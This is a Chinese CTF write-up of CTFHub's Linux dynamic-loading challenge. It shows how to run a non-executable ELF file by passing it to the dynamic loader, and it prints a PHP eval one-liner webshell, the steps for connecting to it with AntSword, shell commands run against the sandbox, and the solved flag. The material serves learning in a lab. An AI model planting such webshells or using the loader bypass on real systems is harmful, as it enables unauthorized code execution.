CTFHub Web进阶-Linux:动态装载
目录
一、动态装载原理
1、问题描述
2、解决方案
3、/lib64/ld-linux-x86-64.so.2
(1)正常执行流程
(2)动态链接器执行流程
二、渗透实战
1、进入关卡
2、打开靶场
3、点击webshell
4、连接蚁剑工具
5、虚拟终端-发现/readflag无权限执行
6、动态加载执行/readflag
本文详细讲解CTFHub的Web进阶中LInux的动态装载关卡的渗透全流程。当目标文件/readflag缺少执行权限时,通过调用/lib64/ld-linux-x86-64.so.2加载器直接执行该文件,绕过了权限检查。在CTF实战中,通过Webshell连接靶机,发现/readflag无执行权限后,使用动态链接器成功获取flag值ctfhub{6b89d6f2130ec53f42be5b6f}。该方法利用了动态链接器本身的执行权限,在不修改文件权限的情况下实现了程序执行。
一、动态装载原理
1、问题描述
在linux系统中,当ELF没有 x 权限时, 如何执行?
# chmod 755 /readflag
# /readflag
ctfhub{demoflag}
#
# chown root:root /readflag
# chmod 644 /readflag
# ls -l /readflag
-rw-r--r-- 1 root root 8648 Mar 6 15:48 /readflag
2、解决方案
本文给出的解决方案是利用动态链接器本身具有执行权限的特性来绕过目标文件的权限检查。当直接执行/lib64/ld-linux-x86-64.so.2 /readflag时,内核只验证动态链接器的执行权限,而动态链接器在加载目标ELF文件时不会重新检查其执行权限。动态链接器会读取/readflag的ELF头信息,将其代码段通过mmap映射为可执行内存区域,并设置必要的辅助向量,最终跳转到程序的入口点执行。这种方法本质上是通过可信的系统组件(动态链接器)作为中介,在保持系统安全边界的同时,实现了对无执行权限ELF文件的加载和执行。无论是64位系统的ld-linux-x86-64.so.2还是32位系统的ld-linux.so.2,其工作原理完全相同,只是针对不同架构的动态链接器路径有所区别。
# 对于64位系统
/lib64/ld-linux-x86-64.so.2 /readflag# 对于32位系统
/lib/ld-linux.so.2 /readflag
3、/lib64/ld-linux-x86-64.so.2
/lib64/ld-linux-x86-64.so.2 是Linux系统的动态链接器/加载器,它本身是一个具有执行权限的ELF文件。当你直接执行一个ELF程序时,内核实际上会先加载动态链接器,然后由动态链接器来加载目标程序。
(1)正常执行流程
./program
↓
内核识别ELF → 读取INTERP → 执行/lib64/ld-linux-x86-64.so.2 → 加载program
(2)动态链接器执行流程
/lib64/ld-linux-x86-64.so.2 /readflag
↓
内核执行ld-linux-x86-64.so.2 → 加载器解析参数 → 加载/readflag
二、渗透实战
1、进入关卡
进入关卡,页面提示“本题难度较大,谨慎开启。学习 Linux ELF Dynaamic Loader 技术。在 ELF 无 x 权限时运行 ELF 文件。”,具体如下所示。

2、打开靶场
打开URL地址,在CTFHub Linux动态装载挑战关卡中,总体要解决的问题就是面对无执行权限的ELF文件/readflag(权限644),如何能执行/readflag读取flag呢?
http://challenge-e77c26035e8b5cc4.sandbox.ctfhub.com:10800/

3、点击webshell
点击webshell链接欸,如下所示进入到了如下页面。
http://challenge-e77c26035e8b5cc4.sandbox.ctfhub.com:10800/ant.php

很明显这是一个典型的PHP一句话木马后门脚本,具有严重的安全威胁:
-
eval(): 执行字符串作为PHP代码的危险函数 -
$_REQUEST['ant']: 从GET/POST/COOKIE接收参数'ant' -
@: 错误抑制运算符,隐藏执行错误
<?php
@eval($_REQUEST['ant']);
show_source(__FILE__);
?>
4、连接蚁剑工具
http://challenge-e77c26035e8b5cc4.sandbox.ctfhub.com:10800/ant.php 密码ant


5、虚拟终端-发现/readflag无权限执行
通过“选中木马的会话-右键-虚拟终端”进入在新木马的虚拟终端窗口,如下所示。

分别执行ls -l命令、ls -l /命令,以及file readflag命令和/readflag命令,如下所示。

从命令输出可明确关键信息,这是后续操作的前提:
- 当前用户为
www-data,属于低权限用户。 - 目标文件
/readflag是 64 位 ELF 可执行程序,但直接执行(/readflag)时提示 “Permission denied”,说明该文件对www-data用户没有执行权限(x权限)。 - 根目录下存在
flag文件,但权限为-rw-------,仅 root 用户可读写,www-data无法直接访问。
6、动态加载执行/readflag
/lib64/ld-linux-x86-64.so.2 是Linux系统的动态链接器/加载器,它本身是一个具有执行权限的ELF文件。当你直接执行一个ELF程序时,内核实际上会先加载动态链接器,然后由动态链接器来加载目标程序
/lib64/ld-linux-x86-64.so.2 /readflag
如下所示,成功获取到flag值ctfhub{6b89d6f2130ec53f42be5b6f}。

常规执行/readflag失败后,通过调用程序的动态链接器实现了突破,原理如下:
- Linux 下的 ELF 可执行程序通常依赖动态链接器(如
/lib64/ld-linux-x86-64.so.2)加载运行。 - 当直接调用动态链接器,并将
/readflag作为参数传入时(/lib64/ld-linux-x86-64.so.2 /readflag),本质是让动态链接器 “加载并运行”/readflag的代码。 - 这种方式绕开了
/readflag文件本身的执行权限检查,因为此时执行的主体是动态链接器(它对www-data有执行权限),而非/readflag文件。
完整的交互信息如下所示。
(*) 基础信息
当前路径: /var/www/html
磁盘列表: /
系统信息: Linux challenge-e77c26035e8b5cc4-68f57f8455-jx8r5 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
当前用户: www-data
(*) 输入 ashelp 查看本地命令
(www-data:/var/www/html) $ ls -l
total 8
-rw-r--r-- 1 root root 56 Mar 7 2020 ant.php
-rw-r--r-- 1 root root 541 Mar 7 2020 index.php
(www-data:/var/www/html) $ ls -l /
total 84
drwxr-xr-x 1 root root 4096 Mar 3 2020 bin
drwxr-xr-x 2 root root 4096 Jun 26 2018 boot
drwxr-xr-x 5 root root 360 Oct 31 08:51 dev
drwxr-xr-x 1 root root 4096 Oct 31 08:51 etc
-rw------- 1 root root 33 Oct 31 08:51 flag
drwxr-xr-x 2 root root 4096 Jun 26 2018 home
drwxr-xr-x 1 root root 4096 Jul 17 2018 lib
drwxr-xr-x 2 root root 4096 Jul 16 2018 lib64
drwxr-xr-x 2 root root 4096 Jul 16 2018 media
drwxr-xr-x 2 root root 4096 Jul 16 2018 mnt
drwxr-x--x 1 root root 4096 Mar 9 2020 opt
dr-xr-xr-x 292 root root 0 Oct 31 08:51 proc
-rw-r--r-- 1 root root 8648 Mar 9 2020 readflag
drwx------ 1 root root 4096 Mar 9 2020 root
drwxr-xr-x 1 root root 4096 Oct 31 08:51 run
drwxr-xr-x 1 root root 4096 Mar 3 2020 sbin
drwxr-xr-x 2 root root 4096 Jul 16 2018 srv
dr-xr-xr-x 13 root root 0 Oct 31 08:51 sys
drwxrwxrwt 1 root root 4096 Oct 31 08:51 tmp
drwxr-xr-x 1 root root 4096 Jul 16 2018 usr
drwxr-xr-x 1 root root 4096 Jul 17 2018 var
(www-data:/var/www/html) $ file /readflag
/readflag: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=076bc9f27e5a724b1bfc3dc13fad0c8924737e51, not stripped
(www-data:/var/www/html) $ /readflag
/bin/sh: 1: /readflag: Permission denied
(www-data:/var/www/html) $ /lib64/ld-linux-x86-64.so.2 /readflag
ctfhub{6b89d6f2130ec53f42be5b6f}
